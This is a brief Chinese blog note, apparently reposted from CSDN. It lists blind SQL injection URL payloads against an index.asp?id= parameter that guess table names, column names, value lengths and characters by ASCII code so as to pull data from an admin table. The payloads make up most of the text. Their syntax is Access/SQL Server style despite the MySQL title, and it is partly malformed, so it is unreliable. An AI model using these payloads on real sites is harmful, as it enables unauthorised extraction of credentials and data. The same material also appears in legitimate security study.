MySQL注入或者一些奇奇怪怪的函数变量1

[san3xian]

MySQL注入或者一些奇奇怪怪的函数变量1

[san3Xian]

待测试理解

猜解表名：http://www.XX.com/index.asp?id=1 and exists select * from 猜测的表名 
猜解列名：http://www.XX.com/index.asp?id=1 and exists select 猜测的列名 from 已知表名 
猜测列长度：http://www.XX.com/index.asp?id=1 and select top 1 len(已知列名） from admin>猜测的值长度 如5 
//TOP 子句用于规定要返回的记录的数目。 
//LEN 函数返回文本字段中值的长度。 
猜测具体值：http://www.XX.com/index.asp?id=1 and select top 1 asc(mid(列名，列数，1)) from admin> 猜测的ascll码 如97 
//mid(列名，行数，N)截取第N位字符 
//asc()将字符转换为ascll码

---

作者：weixin_37224075
来源：CSDN
原文：https://blog.csdn.net/weixin_37224075/article/details/79293258
版权声明：本文为博主原创文章，转载请附上博文链接！